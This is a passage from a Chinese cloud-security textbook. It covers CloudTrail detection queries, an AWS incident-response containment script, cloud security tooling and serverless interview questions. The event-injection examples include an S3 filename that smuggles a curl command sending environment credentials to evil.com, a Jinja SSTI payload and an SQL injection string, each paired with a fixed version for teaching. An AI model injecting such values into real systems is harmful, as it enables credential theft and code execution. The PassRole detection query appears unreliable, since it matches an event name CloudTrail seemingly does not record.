userName: STRING,
sessioncontext: STRUCT<
attributes: STRUCT<
mfaauthenticated: STRING,
creationdate: STRING>,
sessionissuer: STRUCT<
type: STRING,
principalId: STRING,
arn: STRING,
accountId: STRING,
userName: STRING>>>
>,
eventtime STRING,
eventsource STRING,
eventname STRING,
awsregion STRING,
sourceipaddress STRING,
useragent STRING,
errorcode STRING,
errormessage STRING,
requestparameters STRING,
responseelements STRING,
additionaleventdata STRING,
requestid STRING,
eventid STRING,
resources ARRAY<STRUCT<arn: STRING, accountid: STRING, type: STRING>>,
eventtype STRING,
apiversion STRING,
readonly STRING,
recipientaccountid STRING,
serviceeventdetails STRING,
sharedeventid STRING,
vpcendpointid STRING
)
ROW FORMAT SERDE 'com.amazon.emr.hive.serde.CloudTrailSerde'
STORED AS INPUTFORMAT 'com.amazon.emr.cloudtrail.CloudTrailInputFormat'
OUTPUTFORMAT 'org.apache.hadoop.hive.ql.io.HiveIgnoreKeyTextOutputFormat'
LOCATION 's3://mycompany-audit-logs/AWSLogs/123456789012/CloudTrail/'
TBLPROPERTIES ('projection.enabled'='true');
-- ============================================================
-- ★ 云安全检测的 15 条必备规则
-- ============================================================
-- ① ★★★ 来自异常 IP 的 API 调用(★ 最有用的第一条)
-- 白话:你的运维都在国内,突然有美国的 IP 调用了 API
SELECT
eventtime, useridentity.arn AS who, eventname,
sourceipaddress, awsregion, useragent
FROM cloudtrail_logs
WHERE sourceipaddress NOT LIKE '10.%'
AND sourceipaddress NOT LIKE '203.0.113.%' -- ★ 公司出口 IP 段
AND sourceipaddress NOT LIKE '198.51.100.%' -- ★ 办公室 IP
AND eventtime > current_date - interval '7' day
AND useridentity.type <> 'AWSService' -- 排除云服务自身的调用
ORDER BY eventtime DESC
LIMIT 200;
-- ② ★★★ 非 MFA 的敏感操作(★ 高权限操作必须有 MFA)
SELECT
eventtime, useridentity.arn, eventname, sourceipaddress
FROM cloudtrail_logs
WHERE eventname IN (
'CreateAccessKey', 'DeleteAccessKey', 'CreateUser', 'DeleteUser',
'AttachUserPolicy', 'AttachRolePolicy', 'PutUserPolicy',
'DeleteTrail', 'StopLogging', 'DeleteBucket',
'CreateRole', 'DeleteRole', 'UpdateAssumeRolePolicy'
)
AND json_extract_scalar(useridentity.sessioncontext, '$.attributes.mfaauthenticated') != 'true'
AND eventtime > current_date - interval '7' day;
-- ③ ★★★ 关闭/删除安全服务(★ 攻击者的必做动作)
SELECT eventtime, useridentity.arn, eventname, sourceipaddress, errorcode
FROM cloudtrail_logs
WHERE eventname IN (
'StopLogging', 'DeleteTrail', 'UpdateTrail', 'PutEventSelectors',
'DeleteDetector', 'DisassociateFromMasterAccount',
'DisableSecurityHub', 'DeleteConfigurationRecorder',
'StopConfigurationRecorder', 'DeleteFlowLogs', 'DeleteRule'
)
AND eventtime > current_date - interval '30' day
ORDER BY eventtime DESC;
-- ★ 正常情况:应该是【空的】。有记录就要立刻查!
-- ④ ★★★ 大量失败的 API 调用(凭据泄露后的爆破/探测)
SELECT useridentity.arn, sourceipaddress, count(*) AS fail_count,
count(DISTINCT eventname) AS api_variety
FROM cloudtrail_logs
WHERE errorcode IN ('AccessDenied', 'UnauthorizedOperation', 'AuthFailure')
AND eventtime > current_date - interval '1' day
GROUP BY useridentity.arn, sourceipaddress
HAVING count(*) > 50
ORDER BY fail_count DESC;
-- ★ 正常业务的失败调用很少。出现大量 = 在探测权限边界
-- ⑤ ★★★ 大量枚举(攻击者在摸清你有什么资源)
SELECT useridentity.arn, sourceipaddress, eventname, count(*) AS cnt
FROM cloudtrail_logs
WHERE eventname IN ('ListBuckets','DescribeInstances','ListUsers','ListRoles',
'GetBucketAcl','GetBucketPolicy','DescribeDBInstances',
'ListSecrets','DescribeSnapshots','ListFunctions')
AND eventtime > current_date - interval '1' day
GROUP BY useridentity.arn, sourceipaddress, eventname
HAVING count(*) > 100
ORDER BY cnt DESC;
-- ⑥ ★★ 敏感桶的数据下载(★ 需要开启数据事件)
SELECT eventtime, useridentity.arn, eventname,
json_extract_scalar(requestparameters, '$.key') AS object_key,
sourceipaddress
FROM cloudtrail_logs
WHERE eventname = 'GetObject'
AND json_extract_scalar(requestparameters, '$.bucketName') = 'prod-user-data'
AND eventtime > current_date - interval '7' day
ORDER BY eventtime DESC;
-- ⑦ ★★ 新创建的 IAM 用户 / 访问密钥(持久化信号)
SELECT eventtime, useridentity.arn AS creator, eventname,
json_extract_scalar(requestparameters, '$.userName') AS target_user,
sourceipaddress, useragent
FROM cloudtrail_logs
WHERE eventname IN ('CreateUser','CreateAccessKey','CreateLoginProfile',
'UpdateLoginProfile','CreateVirtualMFADevice')
AND eventtime > current_date - interval '7' day
ORDER BY eventtime DESC;
-- ⑧ ★★ 修改了信任策略(★ 可能是为了建后门)
SELECT eventtime, useridentity.arn, eventname,
json_extract_scalar(requestparameters, '$.roleName') AS role,
sourceipaddress
FROM cloudtrail_logs
WHERE eventname = 'UpdateAssumeRolePolicy'
AND eventtime > current_date - interval '7' day;
-- ⑨ ★★ 快照/镜像共享给外部账号(★ 数据外泄的隐蔽路径)
SELECT eventtime, useridentity.arn, eventname,
json_extract_scalar(requestparameters, '$.createVolumePermission.add[0].userId') AS shared_to
FROM cloudtrail_logs
WHERE eventname IN ('ModifySnapshotAttribute','ModifyImageAttribute')
AND eventtime > current_date - interval '30' day
AND requestparameters LIKE '%add%';
-- ⑩ ★★ 从未使用过的 API(★ 异常行为)
-- 先算基线:过去 90 天用过的 API 集合,然后看今天有没有新的
WITH baseline AS (
SELECT DISTINCT eventname
FROM cloudtrail_logs
WHERE eventtime < current_date - interval '1' day
AND eventtime > current_date - interval '90' day
)
SELECT DISTINCT l.eventname, l.useridentity.arn, l.sourceipaddress
FROM cloudtrail_logs l
LEFT JOIN baseline b ON l.eventname = b.eventname
WHERE b.eventname IS NULL
AND l.eventtime > current_date - interval '1' day
AND l.readonly = 'false'; -- ★ 只关注写操作
-- ⑪ ★★ 凭据来自意外的地方(★ 判断凭据是否泄露的关键)
SELECT useridentity.accesskeyid, useridentity.arn,
count(DISTINCT sourceipaddress) AS ip_count,
array_agg(DISTINCT sourceipaddress) AS ips
FROM cloudtrail_logs
WHERE eventtime > current_date - interval '7' day
GROUP BY useridentity.accesskeyid, useridentity.arn
HAVING count(DISTINCT sourceipaddress) > 3
ORDER BY ip_count DESC;
-- ★★ 一个 AK 如果从 5 个不同国家的 IP 用过 = 几乎肯定泄露了
-- ⑫ ★★ 非工作时间的运维操作
SELECT eventtime, useridentity.arn, eventname, sourceipaddress
FROM cloudtrail_logs
WHERE (
hour(from_iso8601_timestamp(eventtime)) < 7
OR hour(from_iso8601_timestamp(eventtime)) > 22
)
AND readonly = 'false'
AND useridentity.type != 'AWSService'
AND eventtime > current_date - interval '7' day
ORDER BY eventtime DESC
LIMIT 100;
-- ⑬ ★★ 使用了 root 账号(★ 应该几乎为 0)
SELECT eventtime, eventname, sourceipaddress, useragent
FROM cloudtrail_logs
WHERE useridentity.type = 'Root'
AND eventtime > current_date - interval '30' day
ORDER BY eventtime DESC;
-- ★★ 期望:完全为空。有记录说明有人在违规用 root
-- ⑭ ★ 用户代理异常(用非官方工具的操作)
SELECT DISTINCT useridentity.arn, useragent, sourceipaddress, eventname
FROM cloudtrail_logs
WHERE (
useragent LIKE '%python%' -- 脚本
OR useragent LIKE '%curl%'
OR useragent LIKE '%Go-http%'
OR useragent LIKE '%aws-cli%' -- ★ 运维用 CLI 正常,但要核对人
)
AND eventtime > current_date - interval '1' day
AND readonly = 'false';
-- ⑮ ★★★ 高权限角色被 PassRole(云提权,见 10.2.7)
SELECT eventtime, useridentity.arn AS who,
json_extract_scalar(requestparameters, '$.roleArn') AS passed_role,
sourceipaddress
FROM cloudtrail_logs
WHERE eventname = 'PassRole'
AND (
json_extract_scalar(requestparameters, '$.roleArn') LIKE '%Admin%'
OR json_extract_scalar(requestparameters, '$.roleArn') LIKE '%Organization%'
OR json_extract_scalar(requestparameters, '$.roleArn') LIKE '%PowerUser%'
)
AND eventtime > current_date - interval '7' day;
10.7.3 云上应急响应(与第八章的差异)
★ 云上 IR 与传统的三个根本差异
┌────────────────────────────────────────────────────────────┐
│ 差异 1:★【不能"拔网线"】 │
├────────────────────────────────────────────────────────────┤
│ 传统:发现被入侵 → 拔网线 / 关机器 → 保住现场 │
│ 云上:★ 你的机器是虚拟的,拔不了网线 │
│ ★ 而且你"关掉"机器的瞬间,【内存证据就没了】 │
│ (传统机器关机后内存还在,可以冷启动攻击恢复) │
│ │
│ ✅ 云上的"隔离"做法: │
│ ① 改安全组 → 只留取证机器的 IP 能访问 │
│ ② ★ 用 IAM 策略【吊销所有会话】(★ 云特有的杀手锏) │
│ ③ 保持实例【运行】(保住内存) │
└────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────┐
│ 差异 2:★★【凭据吊销方式完全不同】 │
├────────────────────────────────────────────────────────────┤
│ 传统:改密码、删 SSH key │
│ 云上:★ 长期 AK/SK 改密码没用(攻击者可能已经建了新的) │
│ ★ 必须在【IAM 层】操作,有几层: │
│ ① 禁用/删除泄露的 AK │
│ ② ★★ 附加一个 "Deny All" 的内联策略(★ 最快,秒级) │
│ ③ ★★★ 吊销所有活动会话(★ 让已签发的临时令牌失效) │
└────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────┐
│ 差异 3:★★【取证对象变了】 │
├────────────────────────────────────────────────────────────┤
│ 传统:取证 = 查主机(磁盘、内存、日志) │
│ 云上:★ 主机可能已经不存在了(弹性伸缩、被攻击者删了) │
│ ★ 但【审计日志】是独立于主机的,不会丢 │
│ │
│ ✅ 云上取证的核心是【CloudTrail + 配置历史】: │
│ - CloudTrail:谁做了什么(API 调用,最权威) │
│ - AWS Config / 配置审计:资源配置怎么变的 │
│ - VPC Flow Logs:网络层面谁连了谁 │
│ ★★ 这三者结合,即使主机没了,也能还原 90% 的故事 │
└────────────────────────────────────────────────────────────┘
# ============================================================
# ★★ 云上应急响应的"黄金 15 分钟"操作清单
# ============================================================
#!/bin/bash
# cloud_ir_containment.sh
# ★ 用法:./cloud_ir_containment.sh <被入侵的主体ARN或用户名>
set -euo pipefail
PRINCIPAL="$1" # 例如 arn:aws:iam::123:role/compromised-role
TIMESTAMP=$(date +%Y%m%d%H%M%S)
EVIDENCE_DIR="./ir_evidence_${TIMESTAMP}"
mkdir -p "$EVIDENCE_DIR"
echo "════════════════════════════════════════════════"
echo " 云上应急响应 - 遏制阶段"
echo " 目标主体: $PRINCIPAL"
echo " 时间: $(date)"
echo " 证据目录: $EVIDENCE_DIR"
echo "════════════════════════════════════════════════"
# ─────────────────────────────────────────────────────
# ★ 第 0 步:先保存证据,再动手(★ 顺序不能反!)
# ─────────────────────────────────────────────────────
echo "[0] 保存当前状态快照..."
aws iam get-role --role-name "$(basename $PRINCIPAL)" \
> "$EVIDENCE_DIR/role_before.json" 2>/dev/null || true
aws iam list-attached-role-policies --role-name "$(basename $PRINCIPAL)" \
> "$EVIDENCE_DIR/policies_before.json" 2>/dev/null || true
# ★★ 从 CloudTrail 导出这个主体的所有活动(★ 最重要的一步)
echo " 正在导出该主体的 API 调用记录(可能需要几分钟)..."
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=Username,AttributeValue="$(basename $PRINCIPAL)" \
--max-results 50 \
--output json > "$EVIDENCE_DIR/cloudtrail_activity.json" 2>/dev/null || true
# ─────────────────────────────────────────────────────
# ★★ 第 1 步:立即吊销权限(Deny All,秒级生效)
# ─────────────────────────────────────────────────────
echo "[1] ★★ 附加 Deny All 策略(立即止血)..."
cat > /tmp/deny_all.json <<'EOF'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "IRContainmentDenyAll",
"Effect": "Deny",
"Action": "*",
"Resource": "*"
}
]
}
EOF
ROLE_NAME="$(basename $PRINCIPAL)"
aws iam put-role-policy \
--role-name "$ROLE_NAME" \
--policy-name "IR-DenyAll-${TIMESTAMP}" \
--policy-document file:///tmp/deny_all.json
echo " ✓ 已附加 Deny All 策略"
# ─────────────────────────────────────────────────────
# ★★★ 第 2 步:吊销所有活动会话(★ 云特有,最关键)
# ─────────────────────────────────────────────────────
# ★ 白话:攻击者手上可能已经有临时凭据了(1 小时有效)
# 光禁用 AK 没用,必须让【已签发的】临时令牌失效
echo "[2] ★★★ 吊销所有活动会话..."
# ① 获取角色/用户最后一次使用的时间
LAST_USED=$(aws iam get-role --role-name "$ROLE_NAME" \
--query 'Role.RoleLastUsed.LastUsedDate' --output text 2>/dev/null || echo "N/A")
echo " 最后使用时间: $LAST_USED"
# ② ★ 注入会话失效策略(★ 这是 AWS 的标准做法)
# 用 aws:TokenIssueTime 条件,让所有早于此刻签发的令牌失效
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
cat > /tmp/revoke_sessions.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "RevokeOldSessions",
"Effect": "Deny",
"Action": "*",
"Resource": "*",
"Condition": {
"DateLessThan": {
"aws:TokenIssueTime": "${NOW}"
}
}
}
]
}
EOF
aws iam put-role-policy \
--role-name "$ROLE_NAME" \
--policy-name "IR-RevokeSessions-${TIMESTAMP}" \
--policy-document file:///tmp/revoke_sessions.json
echo " ✓ 所有早于 $NOW 签发的会话已失效"
# ─────────────────────────────────────────────────────
# 第 3 步:如果这个角色有 AK/SK,处理掉
# ─────────────────────────────────────────────────────
echo "[3] 处理访问密钥..."
# ★ 注意:先禁用(Inactive),不删除(保留证据)
# aws iam update-access-key --access-key-id AKIA... --status Inactive
# ─────────────────────────────────────────────────────
# 第 4 步:检查有没有被创建的后门
# ─────────────────────────────────────────────────────
echo "[4] ★★ 检查后门(新增用户 / 角色 / 策略 / 密钥)..."
echo " ── 最近 7 天新建的 IAM 用户 ──"
aws iam list-users --query "Users[?CreateDate>='$(date -u -d '7 days ago' +%Y-%m-%d)'].[UserName,CreateDate]" --output table
echo " ── 最近 7 天新建的角色 ──"
aws iam list-roles --query "Roles[?CreateDate>='$(date -u -d '7 days ago' +%Y-%m-%d)'].[RoleName,CreateDate]" --output table
echo " ── 所有用户的访问密钥(★ 检查有没有陌生的)──"
for u in $(aws iam list-users --query 'Users[].UserName' --output text); do
for k in $(aws iam list-access-keys --user-name "$u" --query 'AccessKeyMetadata[].[AccessKeyId,CreateDate,Status]' --output text | tr '\n' ' '); do
echo " $u: $k"
done
done
# ─────────────────────────────────────────────────────
# 第 5 步:保存 IAM 的完整快照(★ 取证必需)
# ─────────────────────────────────────────────────────
echo "[5] 保存 IAM 完整快照..."
aws iam get-account-authorization-details > "$EVIDENCE_DIR/iam_full_snapshot.json"
echo " ✓ 已保存到 $EVIDENCE_DIR/iam_full_snapshot.json"
# ★ 这个文件包含所有用户/角色/策略,是后续分析的基础
# ─────────────────────────────────────────────────────
# 第 6 步:检查网络层面
# ─────────────────────────────────────────────────────
echo "[6] 检查网络配置(新增的安全组规则 / 公网 IP)..."
aws ec2 describe-security-groups \
--query 'SecurityGroups[?IpPermissions[?IpRanges[?CidrIp==`0.0.0.0/0`]]].[GroupId,GroupName]' \
--output table > "$EVIDENCE_DIR/open_security_groups.txt"
echo ""
echo "════════════════════════════════════════════════"
echo " 遏制完成。下一步:"
echo " ① 分析 $EVIDENCE_DIR/cloudtrail_activity.json 确定影响范围"
echo " ② 检查 CloudTrail 有没有被关(★ 如果被关,说明攻击者很专业)"
echo " ③ 轮换所有可能泄露的凭据"
echo " ④ 检查数据有没有被外传(GetObject / CreateSnapshot 记录)"
echo " ⑤ ★ 不要急着删资源,先保全证据"
echo "════════════════════════════════════════════════"
★★★ 云上 IR 的三个特殊提醒
① ★★ 【不要在遏制阶段就删除资源】
很多人的第一反应是"删掉被入侵的机器"
→ ★ 错!这会毁掉所有证据
✅ 正确:先隔离(改安全组 + 吊销权限),保持实例运行,
做内存快照和磁盘快照,最后才决定是否销毁
② ★★ 【快照要打,但要注意快照会"冻结"状态】
打快照是对的,但:
- 磁盘快照:✅ 可以做(★ 在实例运行时打也可以,但可能不一致)
- ★ 内存:云上【没有官方的内存快照功能】
→ 需要登录实例用 LiME / AVML 采集(见第八章 8.3.6)
→ ★★ 所以如果发现得早,第一优先级是【保住内存】
(攻击者可能用了无文件攻击,只有内存里有证据)
③ ★★★ 【攻击者可能已经把你的审计日志关了】
→ 发现 CloudTrail 被关 / 被删 → 按【最坏情况】处理
→ 补救:
- 检查 Config 历史记录(独立于 CloudTrail)
- 检查 VPC Flow Logs(如果也开了)
- 检查云厂商的"事件历史"(90 天,AWS 免费保留,删不掉)
- ★ 联系云厂商(有时候他们有备份)
10.7.4 云安全态势管理(CSPM / CNAPP)
★ 一堆缩写,先讲清楚
┌──────────────┬──────────────────────────────────────────────┐
│ CSPM │ Cloud Security Posture Management │
│(云安全态势)│ 白话:★【持续检查配置有没有配错】 │
│ │ 例:桶是不是公开的、安全组是不是 0.0.0.0/0 │
│ │ 工具:Prowler、AWS Security Hub、云安全中心 │
│ │ ★ 相当于"定期体检" │
├──────────────┼──────────────────────────────────────────────┤
│ CWPP │ Cloud Workload Protection Platform │
│(工作负载) │ 白话:★【保护正在运行的机器/容器】 │
│ │ 例:主机 IDS、漏洞扫描、运行时检测(Falco) │
│ │ ★ 相当于"随身保镖" │
├──────────────┼──────────────────────────────────────────────┤
│ CIEM │ Cloud Infrastructure Entitlement Management │
│(权限管理) │ 白话:★【专门管云上权限的工具】 │
│ │ 例:谁有过大权限、谁能提权(见 10.2.7) │
│ │ 工具:PMapper、Cloudsplaining、云厂商的 IAM 分析 │
├──────────────┼──────────────────────────────────────────────┤
│ ★★ CNAPP │ Cloud-Native Application Protection Platform │
│(一体化平台)│ 白话:★【把上面全部打包在一起】 │
│ │ = CSPM + CWPP + CIEM + 镜像扫描 + IaC 扫描 │
│ │ ★ 2023 年后 Gartner 主推的概念 │
│ │ 厂商:Wiz、Prisma Cloud、Aqua、Sysdig、Lacework │
└──────────────┴──────────────────────────────────────────────┘
★★ 务实建议(别被厂商忽悠)
如果你是小团队(< 20 人):
★ 不要买 CNAPP(很贵,几十万起)
✅ 用开源 + 云厂商免费能力就够:
- Prowler(CSPM,几百条检查)
- Trivy(镜像 + IaC + 依赖 + 密钥,一个工具全搞定)
- Falco(运行时检测)
- PMapper + Cloudsplaining(权限分析)
- 云厂商的免费安全中心(★ 一定要开)
★ 这些加起来能覆盖 80% 的需求,成本 = 0
如果是中大型(有多个云账号、有合规要求):
✅ 可以考虑商业 CNAPP,但要注意:
- ★ 先明确你要解决什么问题,不要为了"上平台"而上
- ★ 平台的价值在于【关联分析】(如"这个公网暴露的机器上
跑着一个有高危漏洞的镜像,且它的角色能读生产数据库")
→ ★★ 单点工具做不到这种跨层关联,这才是 CNAPP 的真正价值
- 部署顺序建议:CSPM(先知道有什么)→ CIEM(收权限)→ CWPP(运行时)
10.8 面试题 J 组:云原生与 Serverless 安全(30 题)
使用说明:本组题目按“基础 → 进阶 → 场景 → 追问链”排列。 难度标记:★ 初级 / ★★ 中级 / ★★★ 高级 / ★★★★ 专家级
10.8.1 基础题(J1 ~ J12)
J1(★)什么是云的责任共担模型?请划清楚界限
★ 核心定义
责任共担模型(Shared Responsibility Model):云安全不是“云厂商全包”, 而是云厂商负责云平台本身的安全,客户负责云上内容的安全。 ★ 很多人以为“上了云就安全了”,这是最根本的认知错误。
界限划分(以三种服务形态为例)
┌────────────────────┬───────────┬───────────┬───────────┐
│ │ IaaS │ PaaS │ SaaS │
│ │ (云主机) │ (云数据库)│ (云邮箱) │
├────────────────────┼───────────┼───────────┼───────────┤
│ 应用数据 │ 客户 │ 客户 │ 客户 │
│ 身份与访问管理 │ 客户 │ 客户 │ 客户 │
│ 应用代码 │ 客户 │ 客户 │ 厂商 │
│ 操作系统/补丁 │ 客户 │ 厂商 │ 厂商 │
│ 网络配置(防火墙) │ 客户 │ 客户 │ 厂商 │
│ 中间件/运行时 │ 客户 │ 厂商 │ 厂商 │
│ 虚拟化层 │ 厂商 │ 厂商 │ 厂商 │
│ 物理服务器 │ 厂商 │ 厂商 │ 厂商 │
│ 数据中心/网络 │ 厂商 │ 厂商 │ 厂商 │
└────────────────────┴───────────┴───────────┴───────────┘
★★ 记忆口诀:
"云厂商负责【云的安全】(Security OF the Cloud)
客户负责【云里的安全】(Security IN the Cloud)"
★★ 这句话是面试的标准答案,一定要背下来
具体例子(说清楚才算真懂)
场景 1:你的 EC2 被 SSH 爆破进去了
→ 谁的责任?【客户】
原因:云厂商提供了安全组(防火墙),是你自己配了 0.0.0.0/0
场景 2:云厂商的虚拟化层有漏洞,导致跨租户逃逸
→ 谁的责任?【云厂商】
(历史上没发生过大规模事故,但理论上是他们的责任)
场景 3:你的 S3 桶配成了公开,数据被拖走
→ 谁的责任?【客户】
★ 云厂商给了 Public Access Block 这个开关,是你没开
场景 4:云数据库的漏洞没打补丁导致被入侵
→ 谁的责任?【共担】
云厂商负责数据库软件的补丁(PaaS),
但你没开审计日志、用了弱密码 → 你也有责任
★★★ 面试加分点(说出这个认知):
"责任共担最大的问题是【边界模糊地带】。
比如 Serverless:云厂商管运行时,但你管代码和 IAM 权限。
出事的时候大家会互相甩锅。
★ 所以我的做法是:不要把安全寄托在'这是谁的责任'上,
而是把每一层的检查都做掉 —— 因为最终损失的是业务。"
★ 可延伸的追问
- “那用了 Serverless,我们的责任是变轻了还是变重了?” → 答:面积变小了,但深度变深了。不用管操作系统补丁了(少了), 但权限配置、事件数据校验的责任都在你(更集中、更容易错), 而且一旦配错,爆炸半径更大。
J2(★★)Serverless 相比容器,带来了哪些新的安全风险?
★ 结构化的回答(四个方面)
┌────────────────────────────────────────────────────────────┐
│ ① 攻击面从"主机"转移到"配置和数据流" │
├────────────────────────────────────────────────────────────┤
│ 传统:SSH 爆破、系统漏洞、提权 │
│ Serverless:这些都没了(没有主机可打) │
│ │
│ ★ 但新增: │
│ - IAM 角色权限过大(★ 头号问题) │
│ - 事件源注入(★ 见 J3) │
│ - 部署包依赖漏洞(见第九章) │
│ - 超时/并发配置不当(账单 DoS) │
└────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────┐
│ ② ★★ 边界消失,传统防护手段失效 │
├────────────────────────────────────────────────────────────┤
│ 没有固定 IP → 基于 IP 的白名单没法做 │
│ 没有主机 → 主机 IDS/HIDS 装不了 │
│ 没有长驻进程 → 内存取证、进程监控无从谈起 │
│ 生命周期极短(几百毫秒)→ ★ 攻击可能已经结束,你才开始看日志 │
│ │
│ ★ 结果:很多公司的 Serverless 环境是【检测盲区】 │
└────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────┐
│ ③ ★★★ 冷启动导致的状态残留(Serverless 独有) │
├────────────────────────────────────────────────────────────┤
│ 见 J4。这是【只有 Serverless 才有】的问题, │
│ 容器和虚拟机都不会有 │
└────────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────────┐
│ ④ ★★ 新的经济风险:账单 DoS(Financial DoS) │
├────────────────────────────────────────────────────────────┤
│ 传统 DDoS:打瘫你的服务 │
│ Serverless:★ 服务【不会瘫】(自动扩容), │
│ 但【账单会爆】 │
│ │
│ ★ 算一笔账: │
│ 一个函数 512MB 内存,平均执行 200ms │
│ 攻击者每秒打 1000 次,持续 3 天: │
│ 1000 × 86400 × 3 = 2.59 亿次调用 │
│ ★ 按 AWS Lambda 价格约 $0.0000002/次 + 计算费用 │
│ → 总计约 【$5,000 ~ $15,000】 │
│ ★ 如果函数内存配了 3GB,翻 6 倍 → $90,000 │
│ │
│ ★ 更狠的:函数里调用了按次收费的服务(如某 AI API) │
│ → 一次调用成本 $0.01 → 2.59 亿次 = ★ $259 万 │
└────────────────────────────────────────────────────────────┘
★ 防御清单(Serverless 加固 10 条)
☑ ① 每个函数【独立】IAM 角色 + 最小权限(★ 绝不用共享角色)
☑ ② 设置并发上限(Reserved Concurrency)→ 防账单 DoS
☑ ③ 设置超时时间(★ 不要太长,避免被当成"计算资源"滥用)
☑ ④ 设置账单告警(★ 必须!每天检查,超过阈值通知)
☑ ⑤ 所有事件源视为不可信输入(见 J3)
☑ ⑥ /tmp 里不留敏感数据,用前清空(见 J4)
☑ ⑦ ★ 日志不打印环境变量和完整请求体
☑ ⑧ 定期扫描依赖漏洞(Trivy)
☑ ⑨ 用死信队列(DLQ)捕获失败调用(★ 可能暴露攻击行为)
☑ ⑩ ★ 开启函数的调用日志 + 错误率告警(★ 攻击往往表现为错误率突增)
J3(★★★)什么是 Serverless 事件注入?请举三种真实场景
★ 定义
事件注入(Event Injection):Serverless 函数由事件触发(S3 上传、MQ 消息、 数据库变更流、HTTP 请求等),如果函数把事件内容当作命令/路径/SQL/模板直接使用 而没有校验,就是事件注入。
★ 本质:和 SQL 注入、命令注入是同一类问题, 只是输入源从“HTTP 参数”变成了“事件内容”。
★ 为什么它比传统注入更容易被忽略
传统 Web:
用户输入 → 你的代码
★ 所有人都知道"用户输入不可信",有成熟的框架防护
Serverless:
事件源 → 你的函数
★★ 常见的错误认知:
"这是我们自己的 S3 产生的事件,肯定是安全的"
"这是内部 MQ 的消息,不会有恶意内容"
★ 真相:
- S3 的对象名和内容 → ★ 用户上传的,完全可控
- MQ 消息 → producer 可能被攻陷,或者本身就是外部消息
- 数据库变更流 → 数据来自用户输入
- API Gateway → 最显然的不可信输入
- 定时事件(Cron) → ★ 唯一相对可信的
★ 三种真实场景(附代码)
# ══════════════════════════════════════════════════════════
# 场景 1:S3 文件名 → 命令注入(缩略图生成函数)
# ══════════════════════════════════════════════════════════
# ❌ 危险
import os
def lambda_handler(event, context):
filename = event['Records'][0]['s3']['object']['key']
os.system(f"convert /tmp/{filename} -resize 200 /tmp/thumb.jpg")
# ★ 攻击者上传文件名:
# "cat.jpg; curl https://evil.com/$(env | base64 -w0)"
# → ★★ 环境变量(含 AWS 临时凭据)被外传
# ✅ 正确(两道防线:白名单校验 + 列表传参不走 shell)
import subprocess, re
def lambda_handler(event, context):
filename = event['Records'][0]['s3']['object']['key']
# ① 白名单校验(★ 最关键)
if not re.fullmatch(r'[a-zA-Z0-9._/-]{1,255}', filename) or '..' in filename:
raise ValueError("Invalid filename")
# ② 用列表传参(shell=False,★ 这是 subprocess 的默认值)
subprocess.run(
['convert', f'/tmp/{filename}', '-resize', '200', '/tmp/thumb.jpg'],
check=True, timeout=30
)
# ══════════════════════════════════════════════════════════
# 场景 2:MQ 消息体 → 模板注入 / SSTI
# ══════════════════════════════════════════════════════════
# ❌ 危险:用消息内容渲染模板(生成通知邮件/消息)
from jinja2 import Template
def handler(event, context):
tpl = event['template'] # ★ 攻击者控制了模板字符串
return Template(tpl).render(data=event['data'])
# ★ 攻击者发:{{ ''.__class__.__mro__[1].__subclasses__() }}
# → ★ 遍历所有类 → 找到 os._wrap_close → RCE
# ✅ 正确:模板只能是你预设的,消息只能提供【数据】
from jinja2 import Environment, select_autoescape
env = Environment(autoescape=True) # ★ 开启自动转义
TEMPLATES = { # ★ 白名单:只能选预设模板
'welcome': env.from_string("欢迎 {{ name }}"),
'order': env.from_string("订单 {{ order_id }} 已发货"),
}
def handler(event, context):
name = event.get('template_name')
if name not in TEMPLATES:
raise ValueError("未知模板")
# ★ 只渲染数据,模板本身来自白名单
return TEMPLATES[name].render(name=str(event.get('name', ''))[:50])
# ══════════════════════════════════════════════════════════
# 场景 3:数据库变更流 → SQL 注入(CDC 同步函数)
# ══════════════════════════════════════════════════════════
# ❌ 危险:把变更数据拼进 SQL
def handler(event, context):
for record in event['records']:
user_id = record['after']['user_id'] # ★ 来自数据库字段
sql = f"UPDATE stats SET cnt=cnt+1 WHERE user_id = '{user_id}'"
cursor.execute(sql)
# ★ 如果 user_id 是用户注册时填的内容(如 "1'; DROP TABLE users;--")
# → 注入成功
# ✅ 正确:参数化查询(★ 老生常谈但就是有人忘)
def handler(event, context):
for record in event['records']:
user_id = record['after']['user_id']
# ★ 类型校验
if not isinstance(user_id, int) or user_id <= 0:
logger.warning(f"跳过非法的 user_id: {user_id}")
continue
# ★ 参数化
cursor.execute("UPDATE stats SET cnt=cnt+1 WHERE user_id = %s", (user_id,))
★ 加分点:说出这个洞察
"事件注入的根源不是技术问题,是【信任边界画错了】。
很多架构师画信任边界的时候,画的是'系统边界':
外部(不可信)| 内部(可信)
用户请求 ↑
API Gateway → Lambda → S3/MQ/DB(都是内部,可信)
★ 但在零信任模型下,正确的画法是【每个数据流都是边界】:
用户上传的文件名 → 经过 API → 存进 S3 → 触发 Lambda
★★ 数据虽然'进到了内部',但【来源依然是用户】
★ 所以我的判断标准很简单:
★★ 问一句:'这个字段,最终能不能被外部用户(直接或间接)控制?'
能 → 不可信,必须校验
不能(如 Cron 事件里的固定字段)→ 可以放宽
这条标准比记忆'哪些事件源可信'要可靠得多。"
J4(★★★)什么是冷启动状态残留?为什么它很危险?
★ 定义
冷启动(Cold Start):函数第一次被调用(或长时间没被调用)时, 云平台需要分配资源、加载代码、初始化运行时,这个耗时叫冷启动。
★ 为了性能,云平台会复用实例:函数执行完后, 容器/运行时不会立刻销毁,而是保留一段时间(通常几分钟到几十分钟), 下次调用如果来了,直接复用这个“热”实例,跳过初始化 → 快得多。
★ 状态残留(State Persistence): 函数代码里的【全局变量、静态变量、/tmp 目录、连接池】 在多次调用之间是被保留的。
★ 图解
第 1 次调用(冷启动)
┌──────────────────────────────────────┐
│ ① 分配容器 │
│ ② 加载代码 │
│ ③ 执行【初始化代码】(函数体外) │
│ ④ 执行 handler │
│ ⑤ ★ 容器不销毁,保留 5~30 分钟 │
└──────────────────────────────────────┘
第 2 次调用(热启动,复用同一个容器)
┌──────────────────────────────────────┐
│ ① 跳过初始化 │
│ ② 执行 handler │
│ ★★ 全局变量是【上一次调用留下的值】 │
